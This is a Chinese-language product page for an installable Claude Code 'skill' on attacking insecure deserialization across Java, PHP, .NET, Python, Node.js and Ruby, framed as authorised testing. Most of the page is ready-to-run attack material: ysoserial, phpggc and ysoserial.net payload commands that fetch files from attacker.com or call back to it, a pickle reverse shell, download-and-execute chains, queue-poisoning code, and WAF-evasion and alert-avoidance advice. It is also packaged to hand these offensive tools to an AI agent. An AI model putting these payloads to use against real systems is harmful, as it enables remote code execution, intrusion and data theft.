关于 offensive-deserialization
面向授权安全测试的反序列化漏洞评估技能,覆盖多种语言与数据格式。内容从入口和格式识别延伸到安全验证及结果记录。
主要功能
- 01发现反序列化入口
- 02识别序列化格式
- 03按语言提供 Gadget 指引
- 04安全验证代码执行
- 05记录完整攻击链
适用场景
- 01审查序列化 Cookie 和请求体
- 02评估消息队列及文件上传处理
- 03测试旧版 .NET 或 Python 应用
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-deserialization安装后在 Claude Code 中输入/offensive-deserialization确认已加载。
详细介绍
攻击性反序列化
当应用在未验证数据类型、完整性或来源的情况下,根据序列化的字节流重建对象时,就会产生反序列化漏洞。对象重建会触发构造函数、终结器和语言特定的魔术方法,因此攻击者一旦控制序列化输入,往往能在任何应用层验证运行之前实现远程代码执行。
快速工作流
- 枚举所有接受不透明二进制数据或编码数据的入口点——Cookie、HTTP 请求体、标头、消息队列消息、文件上传、GraphQL 自定义标量、gRPC 字段、JMX/RMI 端点。
- 通过魔数、内容类型标头和错误行为识别序列化格式(参见“识别特征”)。
- 根据错误页面、HTTP 标头或源代码确定服务端语言和框架版本。
- 选择与目标类路径或已安装软件包匹配的候选 gadget 链。使用 ysoserial、phpggc、ysoserial.net 生成载荷,或手动构造。
- 通过已识别的入口点发送载荷。先使用仅触发 DNS 查询或基于 sleep 的验证方式,在不造成破坏性副作用的情况下确认代码执行。
- 在获得授权后,将概念验证升级为符合测试目标的操作。
- 记录完整攻击链:入口点、格式、gadget 链、库版本、验证证据。
识别特征
| 格式 | 特征 | 备注 |
|---|---|---|
| Java ObjectInputStream | 十六进制 ac ed 00 05,Base64 rO0AB | Cookie、POST 请求体、JMX/RMI 流 |
| PHP serialize | O:<len>:"ClassName": 或 a:<count>:{ | 常以 Base64 编码后封装在 Cookie 中 |
| .NET BinaryFormatter | Base64 AAEAAAD///// | ViewState、远程处理、会话状态 |
| Python pickle | 操作码 \x80\x04\x95(v4+),较旧版本为 (dp0 文本 | Redis 缓存、Celery 任务、ML 管道 |
| Ruby Marshal | 开头字节为 \x04\x08 | 较旧 Rails 应用中的会话 Cookie |
| YAML(任意语言) | --- !ruby/object: 或 !!python/object/apply: | 基于标签实例化 |
| Java XMLDecoder | <?xml,且包含 <java> 或 <object class= | 旧版 Java 管理面板 |
| .NET Json.NET | JSON 中的 "$type": 键 | TypeNameHandling != None |
| Java Jackson | ["class.name", { JSON 数组包装器 | enableDefaultTyping / 多态处理 |
Java 反序列化
ObjectInputStream.readObject() 会实例化类路径中存在的任意类。数十年来积累的大量库代码提供了可用的 gadget 链。
识别接收点
// Direct ObjectInputStream usage
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject();
// XMLDecoder -- equally dangerous, often overlooked
XMLDecoder decoder = new XMLDecoder(inputStream);
Object obj = decoder.readObject();
// XStream without allowlist
XStream xstream = new XStream();
Object obj = xstream.fromXML(userInput);
// Jackson polymorphic typing -- CVE-2017-7525 and successors
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
// Jackson @JsonTypeInfo on base class
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
public abstract class BaseCommand { }
// JMX/RMI endpoints -- default port 1099, often unauthenticated
serialVersionUID 和类路径限制
每个可序列化的 Java 类都有一个 serialVersionUID。若其不匹配,就会在任何 gadget 逻辑执行之前触发 InvalidClassException。从错误消息或反编译后的 JAR 中提取服务端的 UID,然后使用 ysoserial 的源代码重新构建载荷。UID 往往只会在主要版本更新时发生变化,因此在不知道确切版本时,尝试常见版本是可行的。
ysoserial Gadget 链
选择与目标类路径中存在的库匹配的链。
# CommonsCollections -- most widely applicable
# CC1: commons-collections 3.1, JDK < 8u72
java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/cb' > payload.bin
# CC5: later JDK versions where CC1 is patched
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.com/cb' > payload.bin
# CC7: Hashtable entry point, bypasses some ObjectInputFilter rules
java -jar ysoserial.jar CommonsCollections7 'id > /tmp/proof.txt' > payload.bin
# Spring chain -- requires spring-core + spring-beans
java -jar ysoserial.jar Spring1 'wget http://attacker.com/s.sh -O /tmp/s.sh' > payload.bin
# Hibernate chain -- requires hibernate-core
java -jar ysoserial.jar Hibernate1 'bash -c {echo,BASE64}|{base64,-d}|bash' > payload.bin
# CommonsBeanutils -- present in many apps via shaded dependencies
java -jar ysoserial.jar CommonsBeanutils1 'ping -c 3 attacker.com' > payload.bin
# URLDNS -- DNS lookup only, no RCE, safe for detection confirmation
java -jar ysoserial.jar URLDNS 'http://deser-confirm.attacker.com' > payload.bin
# JRMPClient -- redirect deser to attacker-controlled JRMP listener
java -jar ysoserial.jar JRMPClient 'attacker.com:1099' > payload.bin
# On attacker host, serve secondary payload via JRMP listener
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 'id'
JMX/RMI 反序列化
JMX 和 RMI 注册表会通过网络接收序列化对象,并且经常在内部网络中暴露且未启用身份验证。
# Scan for RMI registries
nmap -sV -p 1099,1098,9010,9011 --script rmi-dumpregistry TARGET
# marshalsec: exploit RMI/JNDI
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer \
"http://attacker.com:8080/#ExploitClass" 1099
Jackson 多态类型处理
启用 enableDefaultTyping() 或 @JsonTypeInfo(use = Id.CLASS) 时,可以提供一个 JSON 数组,指定要实例化的类。
["com.sun.rowset.JdbcRowSetImpl",
{"dataSourceName":"ldap://attacker.com:1389/Exploit","autoCommit":true}]
Jackson 维护者会持续将类加入拒绝名单。请根据目标版本检查已知的绕过类:org.apache.ibatis.datasource.jndi.JndiDataSourceFactory、com.caucho.config.types.ResourceRef,以及类似的具备 JNDI 功能的 Bean。
PHP 反序列化
unserialize() 会实例化对象,并在重建期间调用魔术方法(__wakeup、__destruct、__toString)。phar:// 流包装器无需显式调用 unserialize() 即可触发反序列化。
识别接收点
// Direct unserialize
$obj = unserialize($userInput);
// phar:// wrapper -- any file operation on a phar:// path is a sink
file_exists("phar://uploads/avatar.jpg");
is_dir("phar://" . $userControlledPath);
// Triggering functions: file_exists, is_dir, is_file, file_get_contents,
// fopen, fileatime, filectime, filemtime, filesize, copy, rename, unlink,
// stat, lstat, getimagesize, exif_read_data, hash_file, md5_file, sha1_file
phpggc Gadget 链
phpggc -l # List all available chains
# Laravel RCE -- PendingBroadcast + Dispatcher, works 5.5 through 9.x
phpggc Laravel/RCE1 system 'id' -b # -b = base64
phpggc Laravel/RCE10 system 'cat /etc/passwd' -s # -s = serialized
# Symfony RCE -- targets process component
phpggc Symfony/RCE4 exec 'curl http://attacker.com/s.sh|bash' -b
# Monolog RCE -- present in most Composer projects
phpggc Monolog/RCE1 system 'whoami' -b
# Guzzle / WordPress chains
phpggc Guzzle/RCE1 system 'id' -b
phpggc WordPress/RCE1 system 'id' -b
# PHAR output instead of raw serialized data
phpggc Laravel/RCE1 system 'id' -p phar -o exploit.phar
# PHAR polyglot disguised as JPEG
phpggc Laravel/RCE1 system 'id' -p phar -pp header.jpg -o exploit.jpg
phar:// 利用
phar:// 包装器会在任何文件操作时反序列化 PHAR 归档的元数据部分。危险调用点是文件函数,而不是 unserialize(),因此可以绕过许多审计。
// Build a malicious PHAR (php.ini: phar.readonly = 0)
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$object = new VulnerableClass();
$object->command = 'id';
$phar->setMetadata($object);
$phar->stopBuffering();
// Create a polyglot by prepending a JPEG header
$jpegHeader = file_get_contents('legitimate.jpg');
file_put_contents('exploit.jpg', $jpegHeader . file_get_contents('exploit.phar'));
将多态文件作为图像上传,然后触发引用
phar://uploads/exploit.jpg/test.txt 的文件操作。
.NET 反序列化
BinaryFormatter 是最危险的 .NET 序列化器。Microsoft 已正式弃用它,但旧版应用程序和内部工具仍在使用它。
识别危险调用点
// BinaryFormatter -- deprecated, always dangerous
BinaryFormatter formatter = new BinaryFormatter();
object obj = formatter.Deserialize(stream);
// SoapFormatter / NetDataContractSerializer -- equally dangerous, less common
// LosFormatter -- used in ViewState
LosFormatter los = new LosFormatter();
object obj = los.Deserialize(viewStateString);
// Json.NET with TypeNameHandling != None
JsonConvert.DeserializeObject<object>(json, new JsonSerializerSettings {
TypeNameHandling = TypeNameHandling.All // or Objects, Arrays, Auto
});
ysoserial.net 载荷
# TypeConfuseDelegate -- broad .NET coverage
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "ping attacker.com"
# WindowsIdentity -- when TypeConfuseDelegate is blocked
ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "certutil -urlcache -split -f http://attacker.com/s.exe C:\Temp\s.exe"
# TextFormattingRunProperties -- targets WPF/XAML
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "calc.exe"
# PSObject -- PowerShell-specific
ysoserial.exe -g PSObject -f BinaryFormatter -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/ps.ps1')"
# Json.NET TypeNameHandling
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "cmd /c whoami > C:\proof.txt"
# Base64 output for ViewState or cookie injection
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "ping attacker.com" -o base64
ViewState 利用
ASP.NET ViewState 是一个序列化的隐藏表单字段。当 MAC 验证被禁用或已知计算机密钥时,你可以直接注入 gadget 链。
# If machine key is known (web.config disclosure, default keys):
ysoserial.exe -p ViewState \
-g TextFormattingRunProperties \
-c "powershell -enc BASE64CMD" \
--validationalg="SHA1" \
--validationkey="KNOWN_KEY" \
--generator="GENERATOR_VALUE" \
--path="/target/page.aspx" \
--islegacy
Json.NET TypeNameHandling
当 TypeNameHandling 不为 None 时,$type 属性会控制实例化过程。
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib",
"$values": ["cmd.exe", "/c whoami"]
},
"ObjectInstance": {"$type": "System.Diagnostics.Process, System"}
}
Python 反序列化
Python 的 pickle 会通过 __reduce__ 方法在反序列化期间执行任意代码。没有安全的方法可以反序列化不可信的 pickle 数据。
pickle RCE
import pickle, os, base64
class Exploit:
def __reduce__(self):
return (os.system, ('curl http://attacker.com/callback',))
payload = pickle.dumps(Exploit())
print(base64.b64encode(payload).decode())
# Reverse shell variant
class ReverseShell:
def __reduce__(self):
return (os.system, (
'python3 -c \'import socket,subprocess,os;'
's=socket.socket();s.connect(("attacker.com",4444));'
'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);'
'os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'',))
# Chained multi-step payload
class ChainedExploit:
def __reduce__(self):
return (eval, ("__import__('os').system('wget http://attacker.com/i -O /tmp/i && chmod +x /tmp/i && /tmp/i')",))
yaml.load RCE
不使用安全加载器的 yaml.load() 允许实例化任意对象。
# Direct command execution
!!python/object/apply:os.system
- "curl http://attacker.com/callback"
# Subprocess with output
!!python/object/apply:subprocess.check_output
- ["id"]
# Find unsafe yaml.load in codebase
grep -rn "yaml\.load\s*(" --include="*.py" /path/to/codebase
其他 Python 攻击向量
import shelve # Uses pickle internally -- RCE on shelve.open() of attacker-controlled .db
import marshal # Code object injection via marshal.loads()
import jsonpickle # Third-party, same risks as pickle via jsonpickle.decode()
Node.js 反序列化
node-serialize IIFE 模式
node-serialize 库使用 _$$ND_FUNC$$_ 标记序列化函数。
添加 () 会创建一个在反序列化期间执行的 IIFE。
// Trailing () causes immediate execution
{"role":"_$$ND_FUNC$$_function(){require('child_process').execSync('curl http://attacker.com/cb')}()"}
// Base64-wrapped to avoid character issues
{"p":"_$$ND_FUNC$$_function(){eval(Buffer.from('BASE64PAYLOAD','base64').toString())}()"}
funcster
// funcster deserializes via new Function() constructor
{"__js_function": "function(){return require('child_process').execSync('id').toString()}"}
在 Cookie、会话令牌和请求正文中查找 _$$ND_FUNC$$_ 和 __js_function。
Ruby 反序列化
Marshal.load 和 YAML.load 都会实例化任意对象,是 Rails 应用程序中常见的危险调用点。
Marshal.load Gadget
# Gem::Requirement chain (Ruby 2.x) / Gem::Installer (varies by version)
# ERB template execution chain
require 'erb'
class Exploit
def initialize
@template = "<%= `id` %>"
end
end
payload = Marshal.dump(exploit_chain)
encoded = Base64.strict_encode64(payload)
YAML.load Gadget
--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "curl http://attacker.com/callback"
method_id: :resolve
5.2 之前的 Rails 会话 Cookie 使用经过签名但未加密的 Marshal 数据。使用
secret_key_base,你可以伪造包含 gadget 链的会话 Cookie。
现代攻击向量
Kubernetes 准入 Webhook
准入控制器会反序列化 AdmissionReview JSON。若 Webhook 将准入请求中的注释或标签值传递给不安全的反序列化器,就会形成集群级 RCE 攻击向量。
apiVersion: v1
kind: Pod
metadata:
name: test-pod
annotations:
config-data: "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH..."
spec:
containers:
- name: test
image: nginx
载荷会在 Webhook 的上下文中执行,而 Webhook 通常拥有较高的集群权限。
消息队列消费者
从 Kafka、RabbitMQ、SQS 或 Redis 消费消息的应用程序通常会盲目反序列化消息载荷。获得生产者访问权限后,你就可以污染每个消费者。
import redis, pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ('curl http://attacker.com/callback',))
r = redis.Redis(host='target-redis', port=6379)
r.lpush('celery', pickle.dumps({
'body': pickle.dumps(Exploit()),
'content-type': 'application/x-python-serialize',
}))
无服务器触发器
当事件源可由攻击者控制(例如,公开上传)时,反序列化来自 S3、SNS 或 SQS 的事件载荷的无服务器函数容易受到攻击。
def handler(event, context):
obj = s3.get_object(Bucket=event['Records'][0]['s3']['bucket']['name'],
Key=event['Records'][0]['s3']['object']['key'])
data = pickle.loads(obj['Body'].read()) # RCE if attacker uploads to bucket
规避技术
绕过 WAF 和过滤器
# Double Base64 -- changes byte pattern
cat payload.bin | base64 | base64 > double_encoded.txt
# Gzip before Base64 -- entirely different pattern
gzip -c payload.bin | base64 > compressed_payload.txt
# URL encoding
cat payload.bin | python3 -c "import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.buffer.read()))"
# Unicode escaping for JSON payloads -- replace ASCII in $type with \uXXXX
# Parameter splitting -- some apps concatenate params before deserializing
操纵 Content-Type
切换传递格式以绕过针对特定格式的 WAF 规则:
POST /api/endpoint HTTP/1.1
Content-Type: application/x-java-serialized-object
[binary payload]
<?xml version="1.0"?>
<java class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<string>curl http://attacker.com/callback</string>
</void>
</object>
</java>
编码层
许多应用程序会应用多层编码。对载荷进行封装以匹配这些编码:
- 序列化 gadget 链。
- 使用已知或泄露的密钥加密(会话 Cookie、ViewState 计算机密钥)。
- 如果存在完整性检查,则应用 HMAC(需要签名密钥)。
- 进行 Base64 编码;如果通过查询参数传递,则再进行 URL 编码。
如果你没有密钥,可以查找框架文档中的默认密钥、通过路径遍历或 SSRF 泄露的密钥,或者使用填充预言攻击在没有密钥的情况下进行加密。
检测 / 防御方视角
了解防御方的检测方式,有助于构造可避开告警的载荷。
防御方匹配的网络特征:
- HTTP 流量中的 Java 魔数
ac ed 00 05/ Base64rO0AB - 表单字段或 Cookie 中的 .NET
AAEAAAD///// - 请求参数中的 PHP
O:\d+:" - JSON 请求体中的
$type键(Json.NET) - Node.js Cookie 中的
_$$ND_FUNC$$_ - YAML 输入中的
!!python/object标签
你将遇到的运行时防御:
- Java
ObjectInputFilter(JEP 290)——类允许列表 / 拒绝列表。可使用完全在允许集合内运行的链绕过。 - .NET
SerializationBinder——限制类型解析。可使用允许的命名空间中仍能实现执行的类型绕过。 - PHP
unserialize()中的allowed_classes——限制实例化。可仅使用允许的类绕过,或通过未应用该参数的phar://到达危险函数。 - 针对序列化模式的 WAF 规则——可通过编码、压缩或切换内容类型绕过。
- RASP ——对反序列化调用进行插桩。先使用 URLDNS 或休眠载荷测试,以评估覆盖范围。
攻击会生成的日志痕迹:
- 服务器日志中的
ClassNotFoundException/ClassCastException(链执行失败) - 引用
ObjectInputStream、readObject、readResolve的堆栈跟踪 - 应用服务器发起的异常 DNS/HTTP 出站请求
- JVM/解释器进程启动子进程
演练速查表
| 场景 | 工具 | 载荷 | 验证 |
|---|---|---|---|
| Java,Commons Collections 3.x | ysoserial | CommonsCollections1-7 | 先用 URLDNS |
| Java,未知类路径 | ysoserial | URLDNS,然后基于错误枚举 | DNS 回连 |
| PHP Laravel 5.x-9.x | phpggc | Laravel/RCE1-RCE10 | DNS 或休眠 |
| PHP 文件上传 + 文件操作 | phpggc | -p phar -pp header.jpg 多格式文件 | 触发 phar:// |
| .NET BinaryFormatter | ysoserial.net | TypeConfuseDelegate | 进程或 DNS |
| .NET ViewState,已知密钥 | ysoserial.net | 使用密钥参数的 -p ViewState | 盲执行 |
| .NET Json.NET TypeNameHandling | ysoserial.net | ObjectDataProvider -f Json.Net | 文件写入或带外回连 |
| Web 应用中的 Python pickle | 手动 | __reduce__ + os.system | Curl 回连 |
| Python Celery/Redis | 手动 | 将 Pickle 写入任务队列 | 所有消费者均执行 |
| Python yaml.load | 手动 | !!python/object/apply:os.system | 带外回连 |
| Node.js node-serialize | 手动 | _$$ND_FUNC$$_function(){...}() | 反向 Shell |
| Rails Cookie 中的 Ruby Marshal | 手动 | Gem::Requirement + secret_key_base | 伪造会话 + RCE |
| K8s 准入 Webhook | ysoserial/手动 | Pod 注解中的载荷 | Webhook 回连 |
安全确认流程(始终从这里开始):
- 发送 URLDNS(Java)或 DNS 回连命令,确认是否发生反序列化。
- 发送休眠 / 延迟载荷,确认是否能执行代码且不产生网络出站流量。
- 升级至演练授权的目标。
关键参考资料
工具:
- ysoserial(Java):https://github.com/frohoff/ysoserial
- phpggc(PHP):https://github.com/ambionics/phpggc
- ysoserial.net(.NET):https://github.com/pwntester/ysoserial.net
- marshalsec(Java JNDI/RMI):https://github.com/mbechler/marshalsec
- GadgetInspector:https://github.com/JackOfMostTrades/gadgetinspector
- Burp Deserialization Scanner(BApp Store)
关键 CVE: CVE-2015-4852(WebLogic T3)、CVE-2017-7525(Jackson defaultTyping)、 CVE-2017-9805(Struts 2 XStream)、CVE-2018-1000861(Jenkins Stapler)、 CVE-2019-2725(WebLogic XMLDecoder)、CVE-2019-6340(Drupal REST)、 CVE-2019-18935(Telerik UI .NET)、CVE-2020-9484(Tomcat 会话持久化)、 CVE-2020-36188(通过 JNDI 实现 Jackson SSRF)、CVE-2021-21978(VMware View Planner)、 CVE-2023-34362(MOVEit Transfer)、CVE-2023-46604(ActiveMQ RCE)
研究资料: 《Marshalling Pickles》(Frohoff/Lawrence,AppSecCali 2015)、《Friday the 13th: JSON Attacks》(Munoz/Mirosh,BlackHat 2017)、《Are You My Type?》(Munoz/Mirosh,.NET 序列化器)、OWASP 反序列化备忘单、PortSwigger 不安全反序列化。